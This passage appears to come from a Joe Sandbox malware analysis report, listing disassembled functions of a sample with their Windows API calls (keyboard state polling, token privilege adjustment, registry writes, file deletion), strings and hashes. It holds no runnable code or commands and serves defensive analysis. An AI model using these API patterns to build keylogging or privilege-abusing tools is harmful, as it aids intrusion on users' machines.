                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Pointer$DecodeEncode$AddressProc$LibraryLoad$DebugDebuggerErrorLastOutputPresentString
                                                          • String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationW$MessageBoxW$USER32.DLL
                                                          • API String ID: 3166169540-564504941
                                                          • Opcode ID: 546e24de9eb711d18a25165e889b0c85184b6e9f308b00bfef1946f830db14e8
                                                          • Instruction ID: d627fbd17633bb7a50baa2a6b2371ea0a4411652800dc357a8a2a94ad50eeb59
                                                          • Opcode Fuzzy Hash: 546e24de9eb711d18a25165e889b0c85184b6e9f308b00bfef1946f830db14e8
                                                          • Instruction Fuzzy Hash: BB515F3590071AABDF21EBB5EC88A6E7FA8BF55700B140529F506E7190FB30ED44EB60
                                                          Function 004F48D7 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetForegroundWindow.USER32(00000000,?), ref: 004F48DF
                                                          • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0052D665
                                                          • IsIconic.USER32(?), ref: 0052D66E
                                                          • ShowWindow.USER32(?,00000009), ref: 0052D67B
                                                          • SetForegroundWindow.USER32(?), ref: 0052D685
                                                          • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0052D69B
                                                          • GetCurrentThreadId.KERNEL32 ref: 0052D6A2
                                                          • GetWindowThreadProcessId.USER32(?,00000000), ref: 0052D6AE
                                                          • AttachThreadInput.USER32(?,00000000,00000001), ref: 0052D6BF
                                                          • AttachThreadInput.USER32(?,00000000,00000001), ref: 0052D6C7
                                                          • AttachThreadInput.USER32(00000000,?,00000001), ref: 0052D6CF
                                                          • SetForegroundWindow.USER32(?), ref: 0052D6D2
                                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 0052D6E7
                                                          • keybd_event.USER32(00000012,00000000), ref: 0052D6F2
                                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 0052D6FC
                                                          • keybd_event.USER32(00000012,00000000), ref: 0052D701
                                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 0052D70A
                                                          • keybd_event.USER32(00000012,00000000), ref: 0052D70F
                                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 0052D719
                                                          • keybd_event.USER32(00000012,00000000), ref: 0052D71E
                                                          • SetForegroundWindow.USER32(?), ref: 0052D721
                                                          • AttachThreadInput.USER32(?,?,00000000), ref: 0052D748
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
                                                          • String ID: Shell_TrayWnd
                                                          • API String ID: 4125248594-2988720461
                                                          • Opcode ID: b111dc3cb672be78f4db317def2c17f52b9d60ef50d991af15fce228ae82d1c7
                                                          • Instruction ID: 7dcaba634ae77b306386d37967aa7176d0237ca902ff75dedbb8d1b49d752f52
                                                          • Opcode Fuzzy Hash: b111dc3cb672be78f4db317def2c17f52b9d60ef50d991af15fce228ae82d1c7
                                                          • Instruction Fuzzy Hash: F8315271A40328BAEB206F61AC89F7F7E6CFF55B50F144025FA08EA1D1C6B45941BBA1
                                                          Function 00548310 Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 224COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 005487E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0054882B
                                                            • Part of subcall function 005487E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00548858
                                                            • Part of subcall function 005487E1: GetLastError.KERNEL32 ref: 00548865
                                                          • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 005483A5
                                                          • CloseHandle.KERNEL32(?), ref: 005483B6
                                                          • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 005483CD
                                                          • GetProcessWindowStation.USER32 ref: 005483E6
                                                          • SetProcessWindowStation.USER32(00000000), ref: 005483F0
                                                          • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 0054840A
                                                            • Part of subcall function 005481CB: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00548309), ref: 005481E0
                                                            • Part of subcall function 005481CB: CloseHandle.KERNEL32(?,?,00548309), ref: 005481F2
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue
                                                          • String ID: $default$winsta0
                                                          • API String ID: 3576815822-1027155976
                                                          • Opcode ID: 452318388a4d8e1613db4ade67b5ef3e15f9066177f6af5557694cb13c80694f
                                                          • Instruction ID: 6f79a94b324b0def9ce561f73c5e4be3e6d45860ee672ecd56f636ba7d081930
                                                          • Opcode Fuzzy Hash: 452318388a4d8e1613db4ade67b5ef3e15f9066177f6af5557694cb13c80694f
                                                          • Instruction Fuzzy Hash: 9C812571900209BFDF11EFA4DC49AFE7FB9FF08708F144169F914A6261DB318A59AB60
                                                          Function 005066E1 Relevance: 27.1, Strings: 21, Instructions: 889COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: 0DY$0EY$0FY$3cP$ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)$cccccccccccccc68399987e4e856f3ffffe8c1ffffffc21400cccccccccccccccccccccccccccc68983b45e1e836f3ffffe8a1ffffffc20800cccccccccccccccc$pGY$_P
                                                          • API String ID: 0-1955982199
                                                          • Opcode ID: 14ce821765c8f64452366a58e22bde012c1c4db57a3f3610f82c2a7b82a34d89
                                                          • Instruction ID: a76090f890489402561adef1c1c1dec1b220f76aa4e2d62ba48b7a0a41b91b1c
                                                          • Opcode Fuzzy Hash: 14ce821765c8f64452366a58e22bde012c1c4db57a3f3610f82c2a7b82a34d89
                                                          • Instruction Fuzzy Hash: 61726E75E00619DBDB24CF59C8807EEBBB5FF44314F14856AE849EB281EB709E81CB94
                                                          Function 00570857 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00570953
                                                          • RegCreateKeyExW.ADVAPI32(?,?,00000000,0057F910,00000000,?,00000000,?,?), ref: 005709C1
                                                          • RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00570A09
                                                          • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00570A92
                                                          • RegCloseKey.ADVAPI32(?), ref: 00570DB2
                                                          • RegCloseKey.ADVAPI32(00000000), ref: 00570DBF
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Close$ConnectCreateRegistryValue
                                                          • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                                          • API String ID: 536824911-966354055
                                                          • Opcode ID: 051d9945994a6c60cf8a11fc2c1ee048e811c62b8491f9eedb3e9aabb7f9ff38
                                                          • Instruction ID: 162090eb2342744b27c9b85f7d09281b42abeead13e1c78779a44c9f025f17b1
                                                          • Opcode Fuzzy Hash: 051d9945994a6c60cf8a11fc2c1ee048e811c62b8491f9eedb3e9aabb7f9ff38
                                                          • Instruction Fuzzy Hash: 18027A756006019FCB14EF25D845E2ABBE5FF89324F04885DF98A9B3A2CB34EC45DB81
                                                          Function 0055EF95 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 119fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • FindFirstFileW.KERNEL32(?,?,75A68FB0,?,00000000), ref: 0055EFB6
                                                          • GetFileAttributesW.KERNEL32(?), ref: 0055EFF4
                                                          • SetFileAttributesW.KERNEL32(?,?), ref: 0055F00E
                                                          • FindNextFileW.KERNEL32(00000000,?), ref: 0055F026
                                                          • FindClose.KERNEL32(00000000), ref: 0055F031
                                                          • FindFirstFileW.KERNEL32(*.*,?), ref: 0055F04D
                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 0055F09D
                                                          • SetCurrentDirectoryW.KERNEL32(005A8920), ref: 0055F0BB
                                                          • FindNextFileW.KERNEL32(00000000,00000010), ref: 0055F0C5
                                                          • FindClose.KERNEL32(00000000), ref: 0055F0D2
                                                          • FindClose.KERNEL32(00000000), ref: 0055F0E4
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
                                                          • String ID: *.*
                                                          • API String ID: 1409584000-438819550
                                                          • Opcode ID: 61281fa73fa73d3790ad0dd244f8747bcf0af178580c73729e025052a326a217
                                                          • Instruction ID: 30c2738a4db8f93e46d408ff899fe0d9bfbec0a46e77aa263f5576e3d004964e
                                                          • Opcode Fuzzy Hash: 61281fa73fa73d3790ad0dd244f8747bcf0af178580c73729e025052a326a217
                                                          • Instruction Fuzzy Hash: C831F4365002196ADB14DBA0EC5CAEE7BACBF45321F040172E809D20E1EB30DA88EB51
                                                          Function 0055001C Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetKeyboardState.USER32(?), ref: 00550097
                                                          • SetKeyboardState.USER32(?), ref: 00550102
                                                          • GetAsyncKeyState.USER32(000000A0), ref: 00550122
                                                          • GetKeyState.USER32(000000A0), ref: 00550139
                                                          • GetAsyncKeyState.USER32(000000A1), ref: 00550168
                                                          • GetKeyState.USER32(000000A1), ref: 00550179
                                                          • GetAsyncKeyState.USER32(00000011), ref: 005501A5
                                                          • GetKeyState.USER32(00000011), ref: 005501B3
                                                          • GetAsyncKeyState.USER32(00000012), ref: 005501DC
                                                          • GetKeyState.USER32(00000012), ref: 005501EA
                                                          • GetAsyncKeyState.USER32(0000005B), ref: 00550213
                                                          • GetKeyState.USER32(0000005B), ref: 00550221
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: State$Async$Keyboard
                                                          • String ID:
                                                          • API String ID: 541375521-0
                                                          • Opcode ID: 6c7c8cc48da740b7b873c9d756f5c8bb8b5f5f89ffa6003214a5f442b64ea383
                                                          • Instruction ID: e63e5c49a4d2c584d2a32afe88af3ae3c72d425c583843f265ad9bf7c3efe334
                                                          • Opcode Fuzzy Hash: 6c7c8cc48da740b7b873c9d756f5c8bb8b5f5f89ffa6003214a5f442b64ea383
                                                          • Instruction Fuzzy Hash: 24510F3090478929FB35DB6088787EABFB4AF01381F48559FCDC6565C3DA949B8CC762
                                                          Function 0055F0F2 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 112fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • FindFirstFileW.KERNEL32(?,?,75A68FB0,?,00000000), ref: 0055F113
                                                          • FindNextFileW.KERNEL32(00000000,?), ref: 0055F16E
                                                          • FindClose.KERNEL32(00000000), ref: 0055F179
                                                          • FindFirstFileW.KERNEL32(*.*,?), ref: 0055F195
                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 0055F1E5
                                                          • SetCurrentDirectoryW.KERNEL32(005A8920), ref: 0055F203
                                                          • FindNextFileW.KERNEL32(00000000,00000010), ref: 0055F20D
                                                          • FindClose.KERNEL32(00000000), ref: 0055F21A
                                                          • FindClose.KERNEL32(00000000), ref: 0055F22C
                                                            • Part of subcall function 00554385: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 005543A0
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
                                                          • String ID: *.*
                                                          • API String ID: 2640511053-438819550
                                                          • Opcode ID: 0f2b8700465e2a39ca65efcd561dc62ae499121982db790a082a2276295a8ad0
                                                          • Instruction ID: 9108461ea9178663ff7081e870c69ff9d17fc3b5a2c35f8a7d96a3315789e8a0
                                                          • Opcode Fuzzy Hash: 0f2b8700465e2a39ca65efcd561dc62ae499121982db790a082a2276295a8ad0
                                                          • Instruction Fuzzy Hash: 7E31C97A5006196ADF10DBA4EC69EEE7BACBF45361F100176EC04E20A1EB30DE89DB54
                                                          Function 0055A1EF Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 102fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 0055A20F
                                                          • CreateDirectoryW.KERNEL32(?,00000000), ref: 0055A26E
                                                          • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 0055A293
                                                          • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 0055A323
                                                          • CloseHandle.KERNEL32(00000000), ref: 0055A32E
                                                          • RemoveDirectoryW.KERNEL32(?), ref: 0055A337
                                                          • CloseHandle.KERNEL32(00000000), ref: 0055A341
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove
                                                          • String ID: :$\$\??\%s
                                                          • API String ID: 3827137101-3457252023
                                                          • Opcode ID: 0f3951ecc13ead1cd25697b29d46f7c1be16915c7cad3bf6b72b3960e6ceccce
                                                          • Instruction ID: 9ef4a55423733df5caa32d084f70909d41dbb86237e99d575428f856000c562d
                                                          • Opcode Fuzzy Hash: 0f3951ecc13ead1cd25697b29d46f7c1be16915c7cad3bf6b72b3960e6ceccce
                                                          • Instruction Fuzzy Hash: DA31A27550410AABDB20DFA0DC49FEF3BBCBF89701F1041B6F908D6160EB7096889B25
                                                          Function 00506F9E Relevance: 17.5, Strings: 10, Instructions: 5018COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: ]Z$3cP$DEFINE$P\Z$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)$_P
                                                          • API String ID: 0-4263399106
                                                          • Opcode ID: 7b7351abf1ec6913350dec5569733f5e76b312e26710194baeb4bf31df427e07
                                                          • Instruction ID: 4ae9110a2e08159efa374d2c56271d6477e09c68c8cbfdacd0e02ad2c17352c4
                                                          • Opcode Fuzzy Hash: 7b7351abf1ec6913350dec5569733f5e76b312e26710194baeb4bf31df427e07
                                                          • Instruction Fuzzy Hash: 4693A375E00219DBDB24CF98C881BEDBBB1FF48314F24856AE955EB291E7709E81CB40
                                                          Function 005703DA Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00570E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0056FDAD,?,?), ref: 00570E31
                                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 005704AC
                                                          • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0057054B
                                                          • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 005705E3
                                                          • RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00570822
                                                          • RegCloseKey.ADVAPI32(00000000), ref: 0057082F
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CloseQueryValue$BuffCharConnectRegistryUpper
                                                          • String ID:
                                                          • API String ID: 1724414362-0
                                                          • Opcode ID: ee1f891fdcc3803419bec063833c7374e5326ae178712c29bdbadfc163c7ec64
                                                          • Instruction ID: cb8514f03da91d9cae2d1375ada9de70cf86a3d300fc241a450b49244b654730
                                                          • Opcode Fuzzy Hash: ee1f891fdcc3803419bec063833c7374e5326ae178712c29bdbadfc163c7ec64
                                                          • Instruction Fuzzy Hash: 45E15C31204204EFCB14DF25D895E6ABBE4FF89314B04C96DF94ADB2A1DA30ED05DB92
                                                          Function 0055C75C Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 280timefileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • FindFirstFileW.KERNEL32(?,?), ref: 0055C78D
                                                          • FindClose.KERNEL32(00000000), ref: 0055C7E1
                                                          • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0055C806
                                                          • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0055C81D
                                                          • FileTimeToSystemTime.KERNEL32(?,?), ref: 0055C844
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: FileTime$FindLocal$CloseFirstSystem
                                                          • String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
                                                          • API String ID: 3238362701-2428617273
                                                          • Opcode ID: 80ee17b5c7be1615b38c16b75ee458a68e1e80dd1ab6dba1c1307ad5f87099bf
                                                          • Instruction ID: 6bdf15c47352c01ba537e47642d40d12b4fc3ccd8f27f47a6435a482bb4cdee8
                                                          • Opcode Fuzzy Hash: 80ee17b5c7be1615b38c16b75ee458a68e1e80dd1ab6dba1c1307ad5f87099bf
                                                          • Instruction Fuzzy Hash: F2A12DB1404309AFD704EBA5C895EBFBBECFF94704F40091EF68586191EA34DA48CB66
                                                          Function 005537EF Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 004F4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,004F4743,?,?,004F37AE,?), ref: 004F4770
                                                            • Part of subcall function 00554A31: GetFileAttributesW.KERNEL32(?,0055370B), ref: 00554A32
                                                          • FindFirstFileW.KERNEL32(?,?), ref: 005538A3
                                                          • DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 0055394B
                                                          • MoveFileW.KERNEL32(?,?), ref: 0055395E
                                                          • DeleteFileW.KERNEL32(?,?,?,?,?), ref: 0055397B
                                                          • FindNextFileW.KERNEL32(00000000,00000010), ref: 0055399D
                                                          • FindClose.KERNEL32(00000000,?,?,?,?), ref: 005539B9
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
                                                          • String ID: \*.*
                                                          • API String ID: 4002782344-1173974218
                                                          • Opcode ID: 05820c3a17b7d5613581572dd64b7d7315cacd3ea71fb462db144951c04196aa
                                                          • Instruction ID: 8253b197bcc9ab30eb571c9d1f0e33cd1717fea3f79e272c3c9c8da47a57faa7
                                                          • Opcode Fuzzy Hash: 05820c3a17b7d5613581572dd64b7d7315cacd3ea71fb462db144951c04196aa
                                                          • Instruction Fuzzy Hash: CB51B07180514DAACF05EBA1D9A2CFDBB78AF14345F60006AE90AB7191EF646F0DCB64
                                                          Function 00564164 Relevance: 13.6, APIs: 9, Instructions: 83clipboardmemoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
